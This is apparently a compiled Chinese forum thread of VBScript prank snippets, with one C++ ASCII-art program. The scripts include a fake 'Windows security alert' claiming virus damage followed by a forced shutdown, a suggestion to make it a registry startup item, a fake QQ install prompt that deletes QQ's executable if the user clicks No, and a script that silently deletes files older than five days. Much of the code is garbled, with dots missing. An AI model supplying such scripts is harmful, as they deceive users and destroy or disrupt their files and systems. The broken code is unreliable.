vbs代码大全

哈哈，LS的比较搞笑

先说VBS：

我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已，

VB对网络的支持堪称完美，所以不少的盗号程序都选择用VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且等等，总之，代码贴出来是不可能了

再说代码：

LS的你别嫌他的少，他这个是无毒无害，对于对操作系统不通的童鞋来说是挺管用的

如果你觉得太少，就把这个文件在注册表里做成启动项，让它开机就启动，呵呵

如果不够你的意，就这样改：

Msgbox "您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动。",16+4096,"Windows安全警报"

Shell "cmd/c shutdown -s -t 5"

佛祖曰：普度众生，这样就行

后面那一句代码是用来关机的，VBS代码你应该会插入把

创建个文本文档

输入代码

改后缀txt为vbs

双击运行即可

WscriptCreateObject("SAPISpVoice")Speak "我爱你"

WscriptCreateObject("WScriptShell")run "notepadexe"

msgbox "弹出提示咯"

#include<iostream>

using namespace std;

void prinstar(void)

{

cout<<" 爱爱爱爱爱爱爱爱爱爱爱爱爱"<<endl;

cout<<" 爱"<<endl;

cout<<" 爱 "<<endl;

cout<<" 爱"<<endl;

cout<<" 爱"<<endl;

cout<<" 爱"<<endl;

cout<<" 爱"<<endl;

cout<<" 爱"<<endl;

cout<<" 爱爱爱爱爱爱爱爱爱爱爱爱爱爱爱爱爱爱爱"<<endl;

}

void print_message(void)

{ cout<<" "<<endl;

cout<<" "<<endl;

cout<<" "<<endl;

cout<<" "<<endl;

cout<<"爱 爱 爱 爱 爱爱爱爱爱爱"<<endl;

cout<<"爱 爱 爱 爱 爱 爱"<<endl;

cout<<"爱 爱 爱 爱 爱 爱"<<endl;

cout<<"爱 爱 爱 爱 爱 爱"<<endl;

cout<<"爱 爱 爱 爱 爱 爱爱爱爱爱爱"<<endl;

cout<<"爱 爱 爱 爱 爱 爱 "<<endl;

cout<<"爱 爱 爱 爱 爱 爱"<<endl;

cout<<"爱 爱 爱 爱 爱 爱"<<endl;

cout<<"爱爱爱爱爱 爱 爱 爱爱爱爱爱爱"<<endl;

}

void message(void)

{ cout<<" "<<endl;

cout<<" "<<endl;

cout<<" "<<endl;

cout<<" "<<endl;

cout<<" 爱 爱 爱 爱 爱"<<endl;

cout<<" 爱 爱 爱 爱 爱 爱 "<<endl;

cout<<" 爱 爱 爱 爱 爱 爱 "<<endl;

cout<<" 爱 爱 爱 爱 爱 爱 "<<endl;

cout<<" 爱 爱 爱 爱 爱 爱"<<endl;

cout<<" 爱 爱 爱 爱 爱 "<<endl;

cout<<" 爱 爱 爱 爱 爱爱"<<endl;

cout<<" 爱 爱 爱 爱 爱 爱"<<endl;

cout<<" 爱 爱 爱 爱 爱 爱"<<endl;

cout<<" 爱 爱 爱"<<endl;

}

int main(void)

{

prinstar();

print_message();

message();

return 0;

}

好像有好多运行不了，我也不知道怎么回事，毕业好多年了，现在连C语言是啥都不知道了，哎，岁月是吧杀猪刀啊

代码如下：

'警告！！

'慎用，点击否，出现删除qq的情况，后果自负！！

'请先备份！！！！！

set fso=CreateObject("ScriptingFileSystemObject")

set ws=CreateObject("wscriptshell")

k=MsgBox("您是否现在安装qq",vbyesno,"温馨提示")

p=wsregread("HKEY_LOCAL_MACHINE\SOFTWARE\Tencent\PlatForm_Type_List\3\TypePath")

set f=fsogetfile(p)

if k=vbyes Then

wsrun fshortpath

else

if k=vbNo Then

fsodeletefile fshortpath

end if

end if

'警告！！

'慎用，点击否，出现删除qq的情况，后果自负！！

'请先备份！！！！！

可以借助DOS命令来做，以下便是VBS代码，另存为testvbs后运行测试。

'======================================================

Dim Command,Path

Path="F:\media" '这里是文件夹路径

Command="setlocal enabledelayedexpansion"&vbcrlf&_

"set now=%date:~0,4%%date:~5,2%%date:~8,2%"&vbcrlf&_

"For /R "&Path&" %%i IN () Do ("&vbcrlf&_

" set tt= %%~ti "&vbcrlf&_

" set /a tt = %now%-!tt:~1,4!!tt:~6,2!!tt:~9,2!"&vbcrlf&_

" IF !tt! gtr 5 del /f /q %%~fi"&vbcrlf&_

")"

Set ws = createobject("wscriptshell")

wsrun Command,0